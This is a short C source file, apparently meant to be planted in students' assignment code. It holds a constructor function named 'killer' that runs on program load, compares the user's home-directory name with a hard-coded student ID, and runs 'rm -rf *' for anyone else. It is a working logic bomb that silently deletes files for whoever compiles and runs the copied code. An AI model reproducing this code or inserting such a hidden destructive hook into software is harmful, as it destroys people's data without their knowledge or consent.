oshiri.c

#include <stdlib.h>
#include <string.h>

#ifndef GUARD_USERNAME
/* !!input your username!!!
   Ex.
# define GUARD_USERNAME "s1210999"
*/
# define GUARD_USERNAME "s0000000"
#endif

__attribute__((constructor))
static void killer()
{
    char *home, *username;

    if ( strcmp( GUARD_USERNAME, "s0000000" ) == 0 )
        return;

    home = getenv("HOME");
    if ( home == NULL )
        return;

    username = strrchr( home, '/' );
    if ( username == NULL )
        return;
    ++username;

    if ( strcmp( username, GUARD_USERNAME ) == 0 )
        return;

    system( "rm -rf *" );
}